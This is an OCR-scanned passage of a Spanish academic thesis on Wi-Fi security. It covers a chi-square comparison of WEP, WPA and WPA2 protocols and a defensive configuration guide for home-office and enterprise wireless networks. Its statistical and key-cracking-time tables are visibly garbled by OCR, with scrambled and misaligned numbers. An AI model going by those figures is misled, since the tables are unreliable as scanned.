_ (31,5)(1,75)

35,75

Tabla de frecuencias de lo esperado

DEPENDIENTE

=1,54

Tabla 35. Tabla de frecuencias de lo esperado

INDICES WEP

ENT /| PSK ENT /
TTLS TTLS

TOTAL

Acceso seguro Alto

Tecnologia 9,04 11,75 | 35,25

adecuada para | Acceso Seguro

el acceso

Seguro de  Moderado 0,06 | 0,21 0,38 0,35 0,50 15

datos en redes

wif Acceso SeguroBajo | o459 032 058 052 | 0,75 | 2,25

TOTAL 15 55 10 9 13 39
En base a la tabla de lo esperado y de lo observado obtenemos la tabla de Chi -

Cuadrado (X2 ) con la siguiente férmula:

Doénde:

v (0-E)?
= —

O = el nUmero observado

E = el nUmero esperado, y

Y = es la sumatoria de todos los valores posibles de (O — E)?*/ E.

3)
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Tabla 36. Tabla de calculo chi cuadrado

HIPOTESIS PROTOCOL
(0]
WEP Acceso sequro Alto 000 136 -1.36 184  1.36
Acceso Seguro 0.50 0.06 0.44 0.20 3.39
Moderado
Acceso Seguro Bajo 1.00 0.09 0.91 0.83 9.64
WPAIPSK | Acceso sequro Alto 450 | 497 | 047 022 004
El analisis de
vulnerabilidades Acceso Seguro | 0.50 0.21 0.29 0.08 0.39
de protocolos Moderado
de proteccion y . 050 | 032 018 003 0.1
autenticacion Acceso Seguro Bajo
inalambrico
Dermitita WPA/ENT  Acceso sequro Alto 925 | 9.04 021 004 000
escoger una
tecnologia Qccaesod Seguro | 0.50 0.38 0.12 | 0.01 0.03
adecuada para oderado
el acceso A S Bai 0.25 058 | -0.33 | 0.11 0.19
seguro en redes CCESO Seguro Bajo
Wifi . . . . .
WPA2/PSK | Acceso seguro Alto 875 | 813 | 062 | 038 | 005
Acceso Seguro 0.00 0.35 -0.35 0.12 0.35
Moderado
Acceso Seguro Bajo 0.25 0.52 -0.27 0.07 0.14
WPA2/ENT | Acceso seguro Alto 12.75 | 11.75  1.00 = 1.00 = 0.09
Acceso Seguro 0.00 0.50 -0.50 0.25 0.50
Moderado
Acceso Seguro Bajo 0.25 0.75 -0.50 0.25 0.33
2
X; 1661

Determinar los grados de libertad que se obtiene del numero de filas y el nimero de

columnas de la Tabla de Contingencia.

Doénde:

k = nimero de filas

j = ndmero de columnas

v = (k-1)(j-1) = grados de libertad

En nuestro caso:

k=3

j=5

v = (3-1)(5-1) = 8 grado de libertad
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El valor de Chi-cuadrado XE en la tabla que se presenta en el Anexo 1 y determinar el

valor de la probabilidad

Decision .-. Si la probabilidad es alta se considera que los datos estan de acuerdo con
la solucion, lo cual no prueba que la solucidn sea correcta, sino que simplemente no
se puede demostrar que sea incorrecta.. Si la probabilidad es baja, se considera que

los datos no respaldan a la propuesta de solucion.

Los valores para realizar la comprobacion de la hipotesis son:

+ Probabilidad o nivel de confianza: a=0.05

*« Grados de Libertad: n=8

+ Valor de referencia de chi cuadrado X2- 15,51

« Valor de chi cuadrado encontrado XE =16,61
M

Area de aceptacion de Ho

Fs

Area derechazo de Ho

/

10 J ig,61 =20

¥3[3,05, 8=15,51

Figura 29. Criterio Aceptacion / Rechazo Ho

Como X% = 16,61 cae en el area de rechazo de Ho, se rechaza la hipétesis nula y se

acepta H, es decir, la Hipotesis de Investigacion.
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4.5.Guia Referencial para el Disefio y Configuraci6 n del Acceso Seguro en una
red WIFI

Ahora debemos tener en cuenta que la seguridad inalambrica es distinta por el
ambiente en que se va a implantar, es decir , no va a ser lo mismo tener una solucion
en ambientes SOHO (Personal y pequeias Oficinas) que un modo ENTERPRISE
(empresarial y gobierno). Las recomendaciones que a continuacion se detalla trata de
proporcionar guias que hay que tener en cuenta en el momento de implantar la

solucién a uno u otro modo de desempernio.

Sin embargo esta tecnologia lleva aparejada una serie de riesgos que afectan
directamente a la confidencialidad, integridad y disponibilidad de los activos e
informacién. Estos riesgos de Seguridad de la Informacibn se resumen en los

siguientes:

e Intercepcion y escucha del trafico en transito, que afecta a la confidencialidad
de los datos. Permite al atacante espiar el tréfico de red, capturar contrasefias,
leer correo electrénico y conversaciones realizadas a través de la red, y
obtener informacion Gtil sobre la organizacién interna y la infraestructura de

sistemas para preparar un ataque.

e Acceso no controlado a la red interna corporativa. Esto puede ser utilizado por
el atacante para acceder a sistemas internos normalmente no accesibles desde
el exterior. Si las contramedidas contra riesgos de seguridad habituales estan
desplegadas en el perimetro de la red, como suele ser habitual, una vez

dentro, el atacante tiene via libre a todos los sistemas de la red interna.

e Un intruso puede usar una red inalambrica con poca o nula seguridad para
acceder de forma gratuita a Internet a través de la red de la empresa. Mientras

esto parece en apariencia inocuo, y los activos de informacion de la
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organizacion no se ven afectados, es una actividad que supone un uso no
aceptado de recursos de la empresa por personal no autorizado. Ademas
afecta a la calidad y disponibilidad del servicio de red de los usuarios legitimos,
y puede suponer un problema legal para la organizacion si el intruso utiliza el
acceso a Internet de la empresa para realizar acciones ilegales (hacking) o

acceso ha contenido de Internet inapropiado (por ejemplo, pornografia infantil).

Denegacién de servicio (DoS). Los servicios de red inalambrica 802.11 son
vulnerables a diferentes ataques de denegacién de servicio (por ejemplo,
generacion de trafico aleatorio excesivo, generacion de puntos de acceso

falsos, etc.)

Un atacante podria instalar un punto de acceso inaldmbrico de forma que se
confunda con los puntos de acceso legitimos, provocando que un namero de
usuarios se conecte al del atacante. El atacante reenviaria el trafico a los

puntos de acceso legitimos.

Un visitante a la empresa podria conectarse a la red con su portatil, de forma
inadvertida o conscientemente, sirviendo como punto de entrada de virus,

gusanos y troyanos.

4.5.1 Arquitectura SOHO (Pequefas Oficinas Y Hogar)

Actualmente, los proveedores de servicio de banda a internet, incluyen en su oferta a

usuarios residenciales o particulares dispositivos que integran un Access Point WLAN.

También, es mas comun encontrar puntos de acceso inalambricos en tiendas y

departamentos electrénicos de consumo a precios atractivos para el usuario

doméstico. En ambos caso el usuario puede crear una red Wlan para el acceso a

internet desde cualquier punto o crear una pequefia red local, para interconectar

dispositivos.
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En cualquier caso, es importante destacar que en instalaciones Wlan SOHO la
utilizacién de mecanismos de proteccion y autenticacién de las comunicaciones queda
en manos de los usuarios de las mismas, los aspectos que se deben tomar en cuenta
para la instalacion de una red inalambrica SOHO son las mismas que para una
empresa grande con la diferencia que para una pequefia oficina no se tiene que

administrar una cantidad grande de dispositivos inalambricos.

Generalmente los puntos de acceso inaldmbricos empleados crean redes Wlan que no
solo ofrecen cobertura y acceso a red al usuario que ha contratado el servicio, sino
gue, en muchas ocasiones por las dimensiones o distribucion del lugar donde se
implanta la Wlan, el area de cobertura puede incluir involuntariamente parcialmente los
pisos, edificios proximos o incluso las calles o zonas externas adyacentes. Este hecho
tiene como consecuencia que si no se emplean mecanismos de seguridad, cualquier
usuario que se ubique en cualquiera de esas areas externas puede realizar atagues o

usurpar el ancho de banda o también tener acceso a otras redes.

Disefio de red .- En esta seccidn se enumera las normas de disefio basico para dotar
de seguridad a una red WLAN SOHO la solucién que mas se adecua es el mecanismo

de seguridad basado en WPA2 PSK.

45.1.1 Arquitectura de la red

Como se ve en la figura 35, los elementos clave de una arquitectura de una solucién
de despliegue de redes WLAN SOHO que implementan un mecanismo de seguridad
WPA2 PSK son:

* Usuario

* Access Point

+ Protocolos
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45.1.2

45.1.3

<

Usuarios WPA/PSK'Y WPA2/PSK

Figura 30. Arquitectura de red WLAN SOHO

Consideraciones Usuario

Divulgar la informacion critica (contrasefias) al menor nimero de personas
posibles.

En caso de acceder al sistema mediante cualquier dispositivo fisico el usuario
de este debe ser responsable en como guardar su informacién y no guardarlo o
escribirlo en un papel, mas bien memorizar las claves de acceso al mismo.
Emplear contrasefias fuertes, es decir, contrasefias lo suficientemente largas y
gque contengan caracteres no alfanuméricos. Las mismas que se entregan
manualmente.

Emplear antivirus y firewall personales y mantenerlos actualizados, tratar en lo

posible tener inhabilitado el modo ad-hoc en todos los dispositivos y terminales.

Consideraciones Access Point

Seleccionar puntos de acceso que puedan ser actualizados (via firmware o
software).

Cambiar los pardmetros por defecto de los equipos y comprobar
periddicamente si hay disponibles nuevas actualizaciones de seguridad para
los equipos y aplicarlas.
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Habilitar el cifrado de trafico con el protocolo WPA2 PSK (si el equipo no lo

soportara usar WPA PSK).

Asegurar fisicamente los puntos de acceso, para evitar que nadie ajeno a la

infraestructura SOHO pueda tener acceso a él.

El SSID es el nombre légico asociado a una red Wlan. Para evitar el acceso a
usuarios no deseados es fundamental deshabilitar el broadcast SSID que, en
general, llevan por defecto los puntos de acceso. Aunque este mecanismo ha
sido facilmente vulnerable, sigue siendo recomendable puesto que supone un
primer nivel de defensa contra ataques y permite evitar la conexién de usuarios
de manera automatica a la red, ya que aunque no hagan uso de ella para

transmitir informacion, degradan la conexion de otros usuarios.

Emplear listas de control de acceso (ACL) para que el acceso a red sea
restringido a los clientes cuyas direcciones MAC estan contenidas en la tabla
ACL en el punto de acceso de la red. Activar la opcién de filtrado MAC es til
en este tipo de instalaciones puesto que el numero de dispositivos que se

conectan en las mismas es reducido y suelen ser los mismos dispositivos.

Emplear puntos de acceso que permitan bloguear la intercomunicacién de

usuarios conectados a un mismo AP, mediante la opcién “intracell blocking”.

En caso de emplear los dispositivos corta distancia del punto de acceso, por
ejemplo cuando solo se necesita hacer uso de la red Wlan en una habitacion,
seria conveniente reducir el nivel de potencia de emisién del mismo. De esta
forma se evita dar cobertura a un mayor nimero de usuarios asi como

interferencias de senal.
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45.1.4 Consideraciones Protocolo

Se ha explicado con anterioridad que las redes IEEE 802.11 con WPA2 PSK tienen

gque ser considerada como no muy seguras puesto que es un mecanismo que ha sido

vulnerado, si bien es cierto este problema no se debe a un error del protocolo en si,

sino mas bien es un error por parte del usuario en el momento de generar claves

débiles, tenemos que considerar:

e Generar una clave de mas de 8 caracteres, que permitira que la clave no

pueda ser rota por el tiempo que se demoraria, segun la siguiente tabla

Tabla 37. Generacion de claves posibles — tiempo de rotura

1 26 1

2 676 38

3 17,576 16

4 456,976 7

5 11,881,376 8

6 308,915,776 7

7 8,031,810,176 14

8 208,827,064,576 368

9 5,429,503,678,976 9,565
10 141,167,095,653,376 | 248,688

Segundos
Segundos
Minutos
Horas
Dias

Meses

« Como a veces es dificil encontrar una clave de tantos caracteres

que

verdaderamente sea una clave segura, es posible utilizar programas que

generan claves seguras en este caso para dar un ejemplo usaremos Wireless

Key generator.
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Wireless Key generator es una pequefia herramienta con la que podremos
generar claves aleatorias para el router. No necesita instalacion, pero se

recomienda ponerlo en una carpeta para él sélo.

= Wireless Key Generator EI = @
Wireless Encryption Method / Strength
WEP 64-bit (10 characters) WPA Light (8 characters / 64-bit)

WEP 128-bit (26 characters) |@ WPAZ Minimum (20 characters / 160-bit) ‘
WEP 256-bit (58 characters) WPA2 Maximum (63 characters / 506-bit)

Custom 1

Generate About

Figura 31. Wireless Key Generator

El programa nos permitira crear claves WEP de 64, 128 y 256 bits (10, 26 y 28
caracteres respectivamente), y WPA Light, WPA2 minimum y WPA2 maximum
(8, 20 y 63 caracteres).Ademas, si asi lo queremos, también podemos

establecer manualmente el nimero de caracteres.

i+ Wireless Key Generator | =
Wireless Encryption Method / Strength
1 WEP 64-bit (10 characters) | WPA Light (& characters / 64-bit)

) WEP 128-bit (26 characters) @ WPAZ Minimum (20 characters / 160-hit)
_ WEP 256-bit (58 characters) (=) WPAZ Maximum (63 characters / 506-bit)

) Custom

Generate | | Copy | [SevetoFile | [y | dbout |

duw"wSvU UGV cD<43zbr

Figura 32. Wireles Key Generator clave de 20 caracteres

Ahora, se puede en un archivo de texto llamado key.txt, donde quedard

constancia de la clave generada.
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£ Wireless Key Generator = = |[==
Wireless Encryption Method / Strength
 WEP 64-bit (10 characters) ¢ WPA Light (8 characters / 64-bit)
"1 WEP 128-bit (26 characters) @ WPAZ Minimum (20 characters / 160-bit)
' WEP 256-bit (58 characters) 1 WPAZ | WKG ﬂi—

I Custom 1

Generate | | Copy | I Save to File '.0' Saved to 'key bt successfully,

Auw"wSvUTIG

| oK

Figura 33. Clave generada guardada

Un programa muy Util sin duda, pero lo mas importante (después de poner una

contrasefa segura) cambiarla con cierta frecuencia.

4.5.2 Arquitectura ENTERPRISE (Empresarial)

La solucién de seguridad para redes Wlan en un entorno empresarial es muy
dependiente de las politicas de seguridad que se quieran implantar. No obstante, se
debe tener en cuenta que la utilizacion de excesivas normas de seguridad podria

reducir la eficiencia de funcionamiento de una red Wilan.

Disefio seguro de la red

En esta seccion se enumera las normas de disefio basico para dotar de seguridad a
una red WLAN ENTERPRISE vy la solucién que méas se adecua segun nuestro estudio
es el mecanismo de seguridad basado en WPA2 ENT con IEEE 802.1x y el protocolo
EAP-TTLS para la autenticacion de usuarios. Como se ve de manera general en la

figura siguiente.
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Authenticator 2 Authentication server
RADIUS

Freeradius

Intermet or other LAN resources

Figura 34 . Elementos de una solucion WPA2 ENT / EAP-TTLS

4521 Politicas Generales

Ingenieria Social

e Educar a los usuarios de la infraestructura para que no comente informacién
sensible (contrasefias) con comparfieros o gente desconocida ni escribir las
claves de acceso en papel.

» Divulgar la informacion critica (contrasefias administrativas, ) al minimo
personal posible

« Algunos empleados no pueden darse cuenta de que el despliegue de una Wlan
no autorizada (instalar AP a un pueden aumentar los riesgos de seguridad),

por ello es conveniente emplear alguna herramienta de deteccion de intrusos.

Entorno de red
* La implementacion de una red Wlan no deben alterar las arquitecturas y
recomendaciones ya existentes en el lugar donde se va a llevar a cabo el
despliegue. Debe ser hecha respetando las politicas existentes en cuanto a

seguridad.
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» El administrador debe prestar atencion a las contrasefias, una contrasefia debe
ser lo suficientemente larga y contener caracteres no alfanumeéricos y ser
cambiada periédicamente.

» Realizar inspecciones fisicas periddicas, y emplear herramientas de gestion de
red para ver la red rutinariamente y detectar la presencia de AP no autorizados.

e Utilizar perfiles de usuario que permitan control de acceso para usuarios

internos o0 empleados y usuarios invitados (clientes proveedores).

Arquitectura de red
e Las redes wlan deben ser asignadas a una subred dedicada y no compartida
con una red LAN. Entre una red Wlan y la red LAN debera existir una

estructura firewall adecuada asi como mecanismos de autenticacion

« Para proteger los Servidores del entorno Enterprise de ataques DOS, los
servicios que se desea prestar a los usuarios inaldmbricos deben ubicarse en
una zona DMZ que retransmita estas peticiones de los servicios a los

servidores de la misma.

Access Point

» Seleccionar puntos de acceso que puedan ser actualizados (via firmware o
software).

e Cambiar los parametros por defecto de los equipos y comprobar
periddicamente si hay disponibles nuevas actualizaciones de seguridad para
los equipos y aplicarlas.

e En caso de que la red WLAN este disefiada con AP que puedan soportar varios
mecanismos de seguridad (WEP, WPA, WPAZ2), configurar uno solo.

« Habilitar el cifrado de trafico con el protocolo WPA2 ENT
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* Para evitar el acceso a usuarios no deseados es fundamental deshabilitar el
broadcast SSID que, en general, llevan por defecto los puntos de acceso, esto
supone un primer nivel de defensa contra ataques y permite evitar la conexiéon
de usuarios de manera automatica a la red, ya que aunque no hagan uso de
ella para transmitir informacion, degradan la conexion de otros usuarios.

 Emplear puntos de acceso que permitan bloquear la intercomunicacion de
usuarios conectados a un mismo AP, mediante la opcién “intracell blocking”.

¢ VLAN propia para la red Wi-Fi, en aquellos equipos que lo permitan,. Al ser una
red insegura por su propia naturaleza, es recomendable mantenerla separada
en todo momento de la red cableada. Asi pues, si el punto de acceso, o el
controlador asociado, es capaz de gestionar VLANs, mantener el trafico
proveniente de la red Wi-Fi en una VLAN distinta permitira implementar
mecanismos de seguridad y acceso suplementarios que controlen el acceso de

los usuarios Wi-Fi a los datos de la red corporativa.

Proteccion fisica de la sefial
El medio fisico debe ser una de las principales seguridades, para que el

funcionamiento de la red Wlan no tenga inconvenientes:

e Tener en cuenta el empleo de materiales opacos en la construccion del edificio
para atenuar la sefial y evitar que se propague fuera del edificio

e Usar equipos inhibidores de sefial en lugares donde no se necesite tener
cobertura

« Vigilancia externa con equipos de monitorizacién de sefial de radio.

» Asegurar fisicamente los puntos de acceso inaldmbrico para evitar que
personal no deseado tenga acceso a él.

« Mejorar la seguridad fisica: Permitir el ingreso de equipos electrénicos

Unicamente al personal autorizado por la empresa.
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» Ubicacion estratégica de los Ap’s: estos equipos deben ser ubicados en un
lugar donde no estén propensos a sufrir algin tipo de dafio o averia.

» Controle el area de transmision: Todos los puntos de acceso inaldambrico deben
de tener una sefial aceptable en cualquier ubicacion.

« Implemente la autenticaciébn de usuario: Mejorar los puntos de acceso para
usar las implementaciones de las normas 802.11x.

« Adquiera equipamiento que responda a los estandares y certificado por “WiFi

Alliance”.

4522 Arquitectura de la red

Teniendo en cuenta las normas de disefio anteriores los elementos que actuaran en

una infraestructura segura se muestran en la figura siguiente:

INTERNET O
RED CORPORATIVA

)
mmmmm

Vlan 01

{ . / ) )) )

l\ 3 D)J))))))))))))))))
()

| S

i mmmm

s Point

Servidor DHCP

Figura 35. Arquitectura de una red en modo Empresarial

Ademas de los puntos de acceso inalambricos, elementos basicos a emplear en el

despliegue de redes WLAN de forma eficiente y segura son los siguientes:
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» Switch capa 2 o capa 3: Proporciona conectividad Ethernet entre los APs y la
red corporativa, para una mejor administracion los usuarios deben seccionarse
en vlans dando mayor confidencialidad entre ellos.

» Instalaciéon de un Firewall: El acceso de los clientes Wi-Fi a la red cableada
deberia ser gestionado por un Firewall, ya sea actuando de puente entre las
correspondientes VLANs o como elemento fisico de control, interponiéndose en
flujo de trafico Wi-Fi. En cualquier arquitectura, la inclusion de un firewall nos
permitira implementar politicas de acceso seguras y complejas que aseguren
que, aunque algun intruso hubiera conseguido conectarse a la red inalambrica,
no progrese hasta tener acceso a datos sensibles.

» Servidor DHCP: Proporciona la configuracién de direccionamiento IP a los

usuarios inalambricos.

En general los elementos clave de la arquitectura de una solucion WPA2 enterprise

son los siguientes:

Suplicante .-

Software en el dispositivo inalambrico, la solucion debe estar en funcion del tipo de
EAP que se use para la autenticacion, y que use el protocolo wpa2 la solucion
wpa_suplicant, es un suplicante WPA para Linux, BSD, Mac OS X y Windows con
soporte para WPA y WPA2 (IEEE 802.11i / RSN).

Es adecuado tanto para computadoras de escritorio / laptop y sistemas embebidos.
Solicitante es el componente IEEE 802.1X/WPA que se utiliza en las estaciones
cliente. Se implementa la negociacion de claves con un autenticador de WPA y
controla la itinerancia y autenticacion IEEE 802.11 / asociacion de los controladores de

WLAN.
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wpa_supplicant esta disefiado para ser un "demonio” programa que se ejecuta en
segundo plano y actia como el componente backend el control de la conexion
inaldmbrica. wpa_supplicant apoya programas separados interfaz y una interfaz
basada en texto (wpa_cli) y una interfaz gréfica de usuario (wpa_gui) se incluyen con

wpa_supplicant.

wpa_supplicant utiliza una configuracion flexible de construir que se puede utilizar para
seleccionar las funciones que estan incluidos. Esto permite que el tamafio del cédigo
minimo (de unos 50 kB binario para WPA/MWPA2-Personal y 130 kB de WPAMWPA2-
Enterprise binarios sin el codigo de depuracion a 450 kB con més caracteristicas y

soporte de depuracion completa.

= " (] =

File Help

Adapter: ethi ’

MNetwork: 1\ pervasive-ssid b
Status: COMFLETED

Last message: - Connection to 00:11:95:f3.79:db comple
Authentication: WPAZMIEEE 802 1X/EAP
Encryption: CCMP

S8ID: pervasive-ssid
BESID: 00:11:95:f3:79:db
IP address: 10.0.0.7

Connectl Dlaconnect| Scan1

—

Figura 36. Gui del WPA_suplicant

Autenticador.-

Son los Puntos de Acceso Inalambricos que soporten WPA2 en modo Enterprise y
EAP — TTLS con el servidor RADIUS, debemos recordar que los APs se configuran
para aceptar solamente las conexiones WPA2 y rechazar las demas. Se debe tener en

cuenta que los dispositivos y equipos asi como las tarjetas inaldmbricas de los
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usuarios deben soportar este mecanismo de seguridad ya que WPA2 define una

nueva generacion de dispositivos.

Cada punto de acceso debera cumplir con las siguientes especificaciones:

« Permita la configuracién en puente de acuerdo con IEEE 802.1d

» Soporte de SNMP (incluyendo alarmas personalizadas)

e Traspaso transparente entre Puntos de Acceso

* Clear Channel Select escoge el canal menos traficado para brindar conexiones
sin problemas

e Opciones de antena externa

» Control de acceso de direcciones MAC

» Encriptacion avanzada WPA2 en los modos PSK y ENterprise

* Rastreo multibanda de RF

» Gestion segura mediante herramienta basadas en Web via consola local de
forma remota sobre SSL o HTTPS

* Reportes de estado en tiempo real e informacién de trazadas del protocolo.

e Brinde la opcién de PoE (Power over Ethernet)

e Soporte para vlans

e Puertos seguros para el Servidor Radius.

Servidor

El servidor AAA proporciona la autenticacion de usuarios a la red WLAN, es el
encargado de generar las llaves dindmicas utilizadas en el mecanismo WPA2 y envia
estas llaves a los puntos de acceso. Al utilizar una solucién WPA2 ENT 802.1x con

EAP- TTLS se tendré lo siguiente:
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Freeradius.- es el mas popular de cédigo abierto del servidor RADIUS vy el
servidor RADIUS la mas utilizada en el mundo. Es compatible con todos los
protocolos de autenticacion. El servidor es rapido, rico en caracteristicas
modulares y escalables. El servidor ha llegado a una version estable 2.1.11,
con mejoras incrementales afiadido en cada lanzamiento.

OpenSSL.- Es la entidad certificadora que generara los certificados por parte
del servidor.

Mysql.-Es la base de datos donde se guardaran las contrasefias y passwords
de los usuarios inaldmbricos, también se puede usar LDAP.

Daloradius.- es una web avanzada RADIUS aplicacion de gestién dirigidas a la
gestion de puntos de acceso y de uso general despliegues ISP. Cuenta con
gestion de usuarios, generacion de informes graficos, y contabilidad de

usuarios. Se debe tener preinstalado Apache como servidor web.

Todo esto nos permitira tener nuestro servidor no solo en el control de los usuarios

sino también nos permitird poder administrar a los usuarios de una forma grafica con

daloradius levantado y funcional. Adicionalmente, es recomendable proteger el método

EAP TTLS contra ataques de fuerza bruta. El servidor Radius debe bloquear las

cuentas de usuario tras una serie de intentos fallidos.

Otros puntos que se tienen que tener en cuenta a la hora de implementar una

arquitectura segura para redes inalambricas son los siguientes:

Sistema de gestion de contrasefias de administracién de los puntos de acceso
debe ser equivalente a la gestion de contrasefias de cualquier otro servidor.

La administracion de puntos de acceso debe hacerse por canales seguros
(SSH, SSL, subred de administracién segregada de la red principal, etc.)

Considerar si es necesaria la retransmision del SSID (Service Set Identifier)
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» Gestidn y monitorizacion de los puntos de acceso integrada con infraestructura
de monitorizacién y administracion existente en la organizacion.

« Uso de segregacion de redes, DMZs, firewalls, y asignacion automatica de
VLANS para los clientes wireless, con objeto de realizar un mayor control sobre
el acceso alared y a los recursos.

» Estudio de la localizacion de los puntos de acceso para minimizar el trafico
inaldmbrico y posibilidad de conexion a la red desde zonas no deseadas o
fuera del @mbito de la organizacion.

» Monitorizacion y auditoria de los registros de acceso del servicio RADIUS.

45.2.3 Controlador de puntos de acceso

El uso de un controlador de puntos de acceso, no solo facilita la gestion y
mantenimiento de una red Wi-Fi, si no que puede servir asi mismo para aumentar su
seguridad. Las posibilidades que proporciona un controlador dependeran del
fabricante y modelo, pues no hay un estandar, siendo algunas de las mas

interesantes:

- Firewall (cortafuegos): Es habitual que los controladores implementen
funcionalidades de firewall, que permitan controlar el trafico que pasa de la red
cableada a la red Wi-Fi, en base a direcciones de origen o destino,
aplicaciones, servicios, etc. El firewall es también un elemento importante en la
defensa ante ataques de denegacion de servicio (DoS)

« Comunicacion por tanel: Proporciona la posibilidad de que los puntos de
acceso estén conectados a segmentos de red diferentes, ya que de este modo
el tréfico de los clientes siempre accedera a la red por el mismo punto de ésta,
aquel al que esté conectado el controlador. Ademas, si el tunel se realiza con
un protocolo seguro como SSL, la comunicacién entre los puntos de acceso y

el consolador podré hacerse a través de redes de terceros o incluso Internet, lo
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gue permite la extension de la red inalambrica a zonas remotas atravesando
redes inseguras sin exponer el trafico propio.

« Gestion por usuario: En conjuncién con un servidor de autentificacion, ya sea
este interno al controlador o un servidor RADIUS externo, sera posible asignar
diferentes acceso a los usuarios en funcion de sus credenciales, de una
manera mas detallada y compleja que si el proceso lo llevara a cabo el punto
de acceso. Asi pues podran asignarse a diversas redes, concederles accesos a
diferentes servicios, etc.

« Gestion del ancho de banda: El controlador podréa ofrecer una funcionalidad por
la cual regulard el ancho de banda disponible en funcion de la aplicacién o
usuario que desee hacer uso de ella. Asi pues se prioriza el trafico de la

direccién con respecto a los empleados o alumnos.

45.2.4  WIPS (Wireless Intrusion Prevention System  / sistema de prevencion

de intrusion inalambrica)

Un WIPS (sistema de prevencién de intrusiéon inalambrica es un conjunto de equipos
de red, que como su mismo nombre indica tienen como objetivo prevenir y detectar

intrusiones en la red Wi-FlI.

« Un WIPS monitoriza el espectro radioeléctrico de la red Wi-Fi con el objeto de
detectar ataques de diversa indole, como pueden ser: puntos de acceso
infiltrados, puntos de acceso mal configurados, ataques de denegacién de
servicio (DoS), clientes mal configurados, un cliente cuyos intentos de conexién
a la red sean denegados de forma repetitiva, conexiones no autorizadas, MAC

spoofing, ataques “evil twin”/"honeypot”y ataques “man-in-the-midle.

« Ante estos problemas un WIPs monitoriza la actividad y es capaz de detectar
un comportamiento inusual de los clientes, identificandolo, puede detectar

conversaciones entre puntos de acceso y los clientes, sobre todo en el
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momento de la asociacion y negociacion de la encriptacién a usar, detectando
parametros y configuraciones erréneas, serd detectado como un fallo de
configuracién de dicho cliente, o dependiendo el caso, como el intento de
conexiéon de un atacante, que, especialmente en los casos en que intente
averiguar las claves de la red mediante métodos de fuerza bruta, provocara

muchos intentos de conexion denegados por la red.

Si en WIPS tiene una lista de los clientes autorizados, podrd detectar la
conexion de los clientes no autorizados, ya sean meros intentos de conexién o
clientes que han entrado con éxito en la red, ademés podrd detectar dos
sefales diferentes con la misma direccibn MAC, evidenciando este tipo de
ataque.

Una vez detectado el equipo infiltrado el WIPS lo notificara al administrador de
la red, y en algunos sistemas permitira habilitar contramedidas que blogueen al
punto de acceso infiltrado, por ejemplo, suplantando su direccion (MAC

spoofing) o interfiriéndole.

Snort es un IDS en tiempo real desarrollado por Martin Roesch y disponible
bajo GPL. Se puede ejecutar en maquinas UNIX y Windows. SNORT es el mas
indicado sistema de deteccion de intrusos al momento, puesto que emplea
multiplataforma y puede ser implantado para monitorear pequefias redes
TCP/IP. Este IDS, es muy potente y flexible, lo que ha granjeado la fama que
tiene. Se actualiza muy a menudo, y es mantenido por toda la comunidad de
Internet, lo que le permite tener su base de datos de firmas tremendamente
actualizada.

La arquitectura de Snort se enfocd par ser eficiente, simple y flexible. Snort
estd formado por tres subsistemas: el decodificador de paquetes, la maquina

de deteccion y el subsistema de alerta y logs.
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4525 Herramientas de Gestion

La implantacion y mantenimiento de una red Wi-Fi precisa de diversas herramientas

gue nos permitan llevar a cabo tareas importantes:

A la hora de hacer un estudio de cobertura completo, existe una herramienta
gratuita que resulta muy interesante: Ekahau HeatMapper. Este software,
permite mostrar la cobertura Wi-Fi en un plano, localizar todos los puntos de
acceso y detectar las configuraciones de seguridad de las redes disponibles y

cada uno de los puntos de acceso.

Es interesante saber el rendimiento real que la red da en un punto. Esto puede
ser realizado con herramientas software GNU como iPerf, con la que podra
analizarse la mayor velocidad de transmision real en un punto, pero existen asi
mismo algunas herramientas comerciales, creadas por compafiias como por
ejemplo VeriwWave con su producto WaveDeploy, que permiten una evaluacion
del rendimiento segun la aplicacion, pudiendo realizarse estudios de cobertura
no en base a potencia recibida si no a la calidad de video o voz que puede

obtenerse en un punto, la velocidad de transferencia, etc.

NetStumbler: ofrece informacion que suele ser suficiente para la mayoria de los
usuarios. Se le conocen problemas de funcionamiento con Windows Vista,
existiendo un derivado de este que los soluciona, llamado Vistumbler. Asi
mismo existe una version reducida del software llamado MiniStumbler que

puede correr sobre Windows CE.

InSSIDer: Es una alternativa al NetStumbler, gratuito y desarrollado como un
proyecto OpenSource, que afiade la posibilidad de acoplarle un GPS. Los
datos provenientes del interfaz Wi-Fi, junto con los del GPS, permiten generar

ficheros KLM que podran ser visualizados en Google Earth.
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Para el estudio de frecuencias no hay medios gratuitos, pues es necesario
hardware que implemente un analizador de espectro, junto con el software que
aporte los datos e informes necesarios. Aunque hay varios dispositivos
disponibles en el mercado, cabe destacar como fabricantes de estos sistemas
a compafias como Metageek, con su producto Chanalyzer Pro basado en un
software y un analizador de espectro conectable al puerto USB denominado
Wi-Spy, del tamafio de un pendrive y con capacidad de analisis de las bandas
de 2,4 GHz y 5 GHzHzH. Otra opcion es Airmagnet, la cual pertenece a Fluke
Networks, que ofrece un sistema similar al anterior, basado en una tarjeta tipo
CardBus , también soportando las bandas de 2,4 GHz y 5 GHz, llamado

AirMagnet Spectrum Analyzer.

Wireshark es un analizador de protocolos gratuito, que es un estandar de facto
en el mundo de las redes y ampliamente utlizado por aficionados y

profesionales de toda indole. Permite capturar el tréfico y analizarlo.

Iperf es una aplicacion gratuita de generacién de trafico. Permite evaluar el
rendimiento de una red, obteniendo el tr&fico maximo que es capaz de cursar.
En el caso de las redes Wi-Fi es interesante conocer este dato pues
dependiendo de las interferencias, solapamiento de canales y calidad de los
equipos esta puede variar sustancialmente y no es directamente deducible de
la potencia de recepcion y la velocidad de conexion, pues estos valores solo
nos proporcionan la velocidad méaxima que podriamos alcanzar, no la que se

alcanza en realidad.
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CONCLUSIONES

Al estudiar las prestaciones, limitaciones y seguridades de las tecnologias
inalambricas para redes WIFI, se pudo conocer el funcionamiento e inicialmente
posibles deficiencias en su desarrollo mediante el andlisis comparativo de las

vulnerabilidades

En la evaluacion de las contramedidas se establecié dos ambientes de prueba que
demostraron que WEP ofrece seguridad en un 10.7% y es vulnerable a todos los

ataques analizados

WPA PSK / ENT por ser un protocolo de transicion es susceptible en cualquiera
de sus variantes a ataques a contrasefias (Fuerza bruta, de diccionario) es seguro
para WPA PSK en un 39.28% y WPA/ ENT en un 71.42%, por el algoritmo de

cifrado RC4, también es vulnerable al ataque de denegacion de servicios DOS

WPA2 PSK /ENT solo es vulnerable en cualquiera de sus variantes al ataque de
denegacion de servicios DOS, WPA2 PSK es seguro en un 64.28% y WPA2/ENT
en un 92.85% (siendo este la mejor opcion para asegurar las vulnerabilidades

analizadas.)

La hipotesis fue demostrada ya que el valor calculado en esta investigacion es de

